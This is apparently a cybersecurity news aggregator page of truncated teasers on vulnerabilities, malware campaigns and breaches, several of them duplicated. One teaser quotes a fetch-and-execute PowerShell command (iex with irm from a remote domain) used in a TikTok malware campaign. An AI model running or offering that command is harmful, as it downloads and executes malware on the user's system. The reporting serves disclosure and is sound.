Tag: cyber
-
WatchGuard VPN Flaw Allows Remote Attackers to Execute Arbitrary Code
A critical security vulnerability has been discovered in WatchGuard Firebox appliances that could allow remote attackers to execute arbitrary code without authentication. The flaw, identified as CVE-2025-9242, affects the IKEv2 VPN service and has been assigned a severity score of 9.3 under CVSS 4.0, marking it as a critical threat to organizations using these security…
-
TikTok Videos Weaponized to Deliver Self-Compiling PowerShell Malware
Attackers are exploiting TikTok’s massive reach to trick users into executing malware through seemingly innocuous videos. In one popular TikTok video (liked over 500 times), the attacker poses as a provider of a free Photoshop activation tool and urges viewers to open PowerShell as an administrator and run: powershelliex (irm slmgr.win/photoshop) This command uses Invoke-Expression…
-
ClickFake Interview Campaign Used by Threat Actors to Deliver OtterCandy Malware
A North Korean-linked group, WaterPlum’s Cluster B, has evolved its tactics by introducing OtterCandy”, a Node.jsbased RAT and information stealer”, through the ClickFake Interview campaign, with significant enhancements observed in August 2025. This threat actor, attributed to North Korea, orchestrated two primary campaigns: Contagious Interview and ClickFake Interview. Although multiple clusters operate under the WaterPlum…
-
Samba WINS Command Injection Vulnerability (CVE-2025-10230) Notice
Overview Recently, NSFOCUS CERT detected that Samba released a security update to fix the Samba WINS command injection vulnerability (CVE-2025-10230); Since WINS when Samba is used as an AD domain controller does not strictly verify the wins hook script command when processing registration messages, unauthenticated attackers can construct a special host name to inject commands…The…
-
Samba WINS Command Injection Vulnerability (CVE-2025-10230) Notice
Overview Recently, NSFOCUS CERT detected that Samba released a security update to fix the Samba WINS command injection vulnerability (CVE-2025-10230); Since WINS when Samba is used as an AD domain controller does not strictly verify the wins hook script command when processing registration messages, unauthenticated attackers can construct a special host name to inject commands…The…
-
Samba WINS Command Injection Vulnerability (CVE-2025-10230) Notice
Overview Recently, NSFOCUS CERT detected that Samba released a security update to fix the Samba WINS command injection vulnerability (CVE-2025-10230); Since WINS when Samba is used as an AD domain controller does not strictly verify the wins hook script command when processing registration messages, unauthenticated attackers can construct a special host name to inject commands…The…
-
Samba WINS Command Injection Vulnerability (CVE-2025-10230) Notice
Overview Recently, NSFOCUS CERT detected that Samba released a security update to fix the Samba WINS command injection vulnerability (CVE-2025-10230); Since WINS when Samba is used as an AD domain controller does not strictly verify the wins hook script command when processing registration messages, unauthenticated attackers can construct a special host name to inject commands…The…
-
ConnectWise Flaws Let Attackers Deliver Malicious Software Updates
ConnectWise has issued a critical security update for its Automate platform after uncovering vulnerabilities that could allow attackers to intercept and tamper with software updates. The flaws, present in on-premises installations configured to use unsecured communication channels, put organizations at risk of deploying malicious code under the guise of routine patches. ConnectWise Automate 2025.9, released…
-
Windows GDI Vulnerability in Rust Kernel Module Enables Remote Attacks
A newly discovered flaw in Microsoft’s Rust-based Graphics Device Interface (GDI) kernel component allows unprivileged attackers to crash or take control of Windows systems. Check Point Research (CPR) uncovered the issue in January 2025 and reported it to Microsoft. The company addressed the bug in the May 28, 2025 KB5058499 preview update (OS Build 26100.4202),…
-
Microsoft Report Warns of AI-Powered Automation in Cyberattacks and Malware Creation
Tags: ai, automation, cyber, cyberattack, cybercrime, data, defense, incident, intelligence, malware, microsoft, phishing, vulnerabilityCybercriminals are weaponizing artificial intelligence to accelerate malware development, discover vulnerabilities faster, and create more sophisticated phishing campaigns, according to Microsoft’s latest Digital Defense Report covering trends from July 2024 through June 2025. In 80% of the cyber incidents Microsoft investigated last year, attackers sought to steal data primarily for profit rather than intelligence gathering.…
-
Cisco Desk, IP, and Video Phones Vulnerable to Remote DoS and XSS Attacks
Multiple Cisco desk, IP, and video phones are at risk of remote denial-of-service (DoS) and cross-site scripting (XSS) attacks due to flaws in their Session Initiation Protocol (SIP) software. The weaknesses affect Desk Phone 9800 Series, IP Phone 7800 and 8800 Series, and Video Phone 8875 models when they are registered to Cisco Unified Communications…
-
APT28 Deploys BeardShell and Covenant Modules via Weaponized Office Documents
Security researchers at Sekoia.io have uncovered a sophisticated cyberattack campaign orchestrated by APT28, the notorious Russian state-sponsored threat actor, targeting Ukrainian military personnel with weaponized Office documents that deliver advanced malware frameworks including BeardShell and Covenant modules. The operation represents a significant evolution in APT28’s tactics, leveraging legitimate cloud infrastructure and novel obfuscation techniques to…
-
Cisco Desk, IP, and Video Phones Vulnerable to Remote DoS and XSS Attacks
Multiple Cisco desk, IP, and video phones are at risk of remote denial-of-service (DoS) and cross-site scripting (XSS) attacks due to flaws in their Session Initiation Protocol (SIP) software. The weaknesses affect Desk Phone 9800 Series, IP Phone 7800 and 8800 Series, and Video Phone 8875 models when they are registered to Cisco Unified Communications…
-
Over 269,000 F5 Devices Found Exposed Online After Massive Breach
A recent breach of F5 Networks’ infrastructure has left more than 269,000 devices exposed and vulnerable to attack. Security researchers first detected unusual activity on F5’s management portal, prompting the company to issue an alert and patch critical vulnerabilities. However, despite swift action, a daily snapshot from Shadowserver shows that nearly 269,000 unique IP addresses…
-
ENISA warnt Bedrohungslage in der EU verschärft sich
Tags: cyberFirst seen on security-insider.de Jump to article: www.security-insider.de/cyber-bedrohungslage-in-der-eu-verschaerft-sich-a-a6f5aee04752f8bf70dcd140d2dae838/
-
How Ransomware’s Data Theft Evolution is Rewriting Cyber Insurance Risk Models
Ransomware has evolved from encryption to data theft. Learn how AI-driven attacks and breach data are reshaping cyber insurance risk models and pricing. First seen on securityboulevard.com Jump to article: securityboulevard.com/2025/10/how-ransomwares-data-theft-evolution-is-rewriting-cyber-insurance-risk-models/
-
How Ransomware’s Data Theft Evolution is Rewriting Cyber Insurance Risk Models
Ransomware has evolved from encryption to data theft. Learn how AI-driven attacks and breach data are reshaping cyber insurance risk models and pricing. First seen on securityboulevard.com Jump to article: securityboulevard.com/2025/10/how-ransomwares-data-theft-evolution-is-rewriting-cyber-insurance-risk-models/
-
LinkPro: An eBPF-Based Rootkit Hiding Malicious Activity on GNU/Linux
Tags: access, backdoor, cve, cyber, data-breach, exploit, infection, Internet, linux, malicious, monitoring, technology, threat, vulnerabilitySecurity researchers from Synacktiv CSIRT have uncovered a sophisticated Linux rootkit dubbed LinkPro that leverages eBPF (extended Berkeley Packet Filter) technology to establish persistent backdoor access while remaining virtually invisible to traditional monitoring tools. The infection chain originated from a vulnerable Jenkins server exposed to the internet, exploited through CVE-2024-23897. Threat actors leveraged this initial…
-
VMware Releases Workstation Fusion 25H2 With Enhanced Features and OS Support
VMware has launched the latest versions of its desktop hypervisors, Workstation 25H2 and Fusion 25H2, bringing significant improvements to virtualization technology. These updates introduce a simplified versioning system, powerful new features, and expanded compatibility with modern operating systems and hardware. VMware has abandoned traditional version numbering like Workstation 17.6.x and Fusion 13.6.x in favor of…
-
LinkPro: An eBPF-Based Rootkit Hiding Malicious Activity on GNU/Linux
Tags: access, backdoor, cve, cyber, data-breach, exploit, infection, Internet, linux, malicious, monitoring, technology, threat, vulnerabilitySecurity researchers from Synacktiv CSIRT have uncovered a sophisticated Linux rootkit dubbed LinkPro that leverages eBPF (extended Berkeley Packet Filter) technology to establish persistent backdoor access while remaining virtually invisible to traditional monitoring tools. The infection chain originated from a vulnerable Jenkins server exposed to the internet, exploited through CVE-2024-23897. Threat actors leveraged this initial…
-
Critical Cisco IOS and IOS XE Flaws Allow Remote Code Execution
Cisco has disclosed a serious security vulnerability affecting its IOS and IOS XE Software that could allow attackers to execute remote code or crash affected devices. The flaw, tracked as CVE-2025-20352, resides in the Simple Network Management Protocol (SNMP) subsystem and carries a CVSS score of 7.7, marking it as a high-severity threat. Overview of…
-
F5 Issues Security Patches for Multiple Products After Recent Breach
F5 Networks has released comprehensive security patches addressing multiple critical vulnerabilities across its product portfolio following a recent security incident. The company issued its quarterly security notification on October 15, 2025, documenting numerous high-severity vulnerabilities that could potentially expose enterprise networks to significant security risks. Extensive Vulnerability Disclosure Reveals Multiple Attack Vectors The security advisory…
-
North Korean Hackers Exploit EtherHiding to Spread Malware and Steal Crypto Assets
Tags: attack, blockchain, crypto, cyber, cybercrime, cybersecurity, exploit, hacker, malicious, malware, north-korea, technology, threatThe cybersecurity landscape has witnessed a significant evolution in attack techniques with North Korean threat actors adopting EtherHiding, a sophisticated method that leverages blockchain technology to distribute malware and facilitate cryptocurrency theft. EtherHiding represents a fundamental shift in how cybercriminals store and deliver malicious payloads by embedding malware code within smart contracts on public blockchains…
-
North Korean Hackers Exploit EtherHiding to Spread Malware and Steal Crypto Assets
Tags: attack, blockchain, crypto, cyber, cybercrime, cybersecurity, exploit, hacker, malicious, malware, north-korea, technology, threatThe cybersecurity landscape has witnessed a significant evolution in attack techniques with North Korean threat actors adopting EtherHiding, a sophisticated method that leverages blockchain technology to distribute malware and facilitate cryptocurrency theft. EtherHiding represents a fundamental shift in how cybercriminals store and deliver malicious payloads by embedding malware code within smart contracts on public blockchains…
-
Qantas, DraftKings, and Other Recent Breaches
Mid-October Check-In Here we are in mid-October, and 2025 shows no signs of slowing down on the cyber front. In just the past week, organizations across industries have suffered significant breaches, keeping threat researchers busy analyzing the fallout. From a major airline data leak affecting millions to attempted account takeovers at a sports betting giant,……
-
F5 BIG-IP Breach: 44 CVEs That Need Your Attention Now
Tags: access, attack, breach, cisa, cloud, crowdstrike, cve, cvss, cyber, cybersecurity, data, data-breach, detection, edr, endpoint, exploit, government, Hardware, infrastructure, intelligence, Internet, kubernetes, malicious, mitigation, monitoring, network, risk, software, supply-chain, technology, theft, threat, tool, update, vulnerability, vulnerability-managementPartnering with an EDR vendor after a nation-state has already stolen your source code isn’t innovation, it’s a gamble. You don’t build a fire extinguisher while the house is burning. You find every spark before it becomes the next inferno. Key takeaways: F5’s BIG-IP is used to secure everything from government agencies to critical infrastructure. …
-
Qantas, DraftKings, and Other Recent Breaches
Mid-October Check-In Here we are in mid-October, and 2025 shows no signs of slowing down on the cyber front. In just the past week, organizations across industries have suffered significant breaches, keeping threat researchers busy analyzing the fallout. From a major airline data leak affecting millions to attempted account takeovers at a sports betting giant,……
-
F5 BIG-IP Breach: 44 CVEs That Need Your Attention Now
Tags: access, attack, breach, cisa, cloud, crowdstrike, cve, cvss, cyber, cybersecurity, data, data-breach, detection, edr, endpoint, exploit, government, Hardware, infrastructure, intelligence, Internet, kubernetes, malicious, mitigation, monitoring, network, risk, software, supply-chain, technology, theft, threat, tool, update, vulnerability, vulnerability-managementPartnering with an EDR vendor after a nation-state has already stolen your source code isn’t innovation, it’s a gamble. You don’t build a fire extinguisher while the house is burning. You find every spark before it becomes the next inferno. Key takeaways: F5’s BIG-IP is used to secure everything from government agencies to critical infrastructure. …